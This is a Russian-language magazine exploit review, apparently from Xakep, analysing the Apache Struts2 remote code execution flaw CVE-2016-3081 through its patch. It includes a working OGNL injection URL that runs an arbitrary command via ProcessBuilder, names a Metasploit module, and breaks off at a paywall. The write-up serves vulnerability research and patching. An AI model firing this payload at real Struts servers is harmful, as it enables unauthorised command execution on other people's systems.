В сегодняшнем обзоре мы проанализируем уязвимость в популярном Apache Struts, опасность которой, возможно, недооценили, а затем разберем ошибки в популярном сканере Acunetix, уже появлявшемся как в наших обзорах, так и в других статьях ][.

 

Удаленное выполнение кода в Struts2

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 26 апреля 2016 года
Автор: Nike Zheng, NSFOCUS
CVE: CVE-2016-3081

21 апреля 2016 года разработчики Struts2 опубликовали несколько CVE, одна из них, CVE-2016-3081, имела довольно высокий рейтинг. Опасность заключается в открытом динамическом вызове, который атакующий может использовать для проведения атаки типа «удаленное выполнение кода».

При исследовании исходников предыдущей и запатченной версий было обнаружено, что изменился только файл DefaultActionMapper.java.

Патч для DefaultActionMapper.java
Патч для DefaultActionMapper.java

Ты можешь видеть, что добавился новый метод cleanupActionName для фильтрации значения переменной. Новый метод запрещает использование большинства специальных символов. Помимо изменений, показанных на скриншоте, были добавлены выражения OGNL в invokeAction из DefaultAction.java:

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();

  if (LOG.isDebugEnabled()) {
    LOG.debug("Executing action method = #0", methodName);
  }

  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
    Object methodResult;
    try {
      methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
      ...

Возможно, тебе знаком параметр methodName в вызове getValue() и ты знаешь, что он делает, — связанные с ним уязвимости были в Struts. Этот случай отличается наличием пары скобок, но грамматика похожа. Ниже представлен код для версии, которая была перед 2.3.18.

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();

  if (LOG.isDebugEnabled()) {
    LOG.debug("Executing action method = #0", methodName);
  }

  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
    boolean methodCalled = false;
    Object methodResult = null;
    Method method = null;
    try {
      method = getAction().getClass().getMethod(methodName, EMPTY_CLASS_ARRAY);
      ...

Тут используется отражение (reflection), которое и позволяет провести эксплуатацию уязвимости. И, как пишет автор эксплоита, этой CVE присвоен недостаточно высокий рейтинг опасности.

 

EXPLOIT

Сложности есть в двух местах. Одно из них упомянуто выше: для последнего выражения в скобках нужно указать правильный синтаксис. Другое проблемное место — процесс передачи, который проходит обработку, что запрещает использование обычных и двойных кавычек, поэтому нужно искать обходной вариант.

Для выражения в скобках ты можешь использовать напрямую new java.lang.String, который будет передан в new java.lang.String() в соответствии с правильным синтаксисом OGNL.

В случае с обработкой специальных символов, то есть запретом на использование кавычек, ты можешь применить ссылочный метод передачи параметров для передачи строки. К примеру, использовать parameters.cmd и параметр cmd в HTTP-запросе. Ниже представлен PoC, который запускает текстовый редактор Gedit.

http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String
Результат успешной эксплуатации — запуск текстового редактора Gedit
Результат успешной эксплуатации — запуск текстового редактора Gedit

Оригинальная статья представлена на популярном китайском ресурсе drops.wooyun.org.

В Metasploit также появился модуль для автоматизации атаки с применением этой уязвимости.

msf > use exploit/multi/http/struts_dmi_exec
 

TARGETS

Struts 2.3.20 — Struts 2.3.28 (кроме 2.3.20.3 и 2.3.24.3).

 

SOLUTION

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

В Foxit Reader обнаружены две 0-day уязвимости

В популярном приложении для работы с PDF-файлами, Foxit Reader, обнаружили сразу двери кри…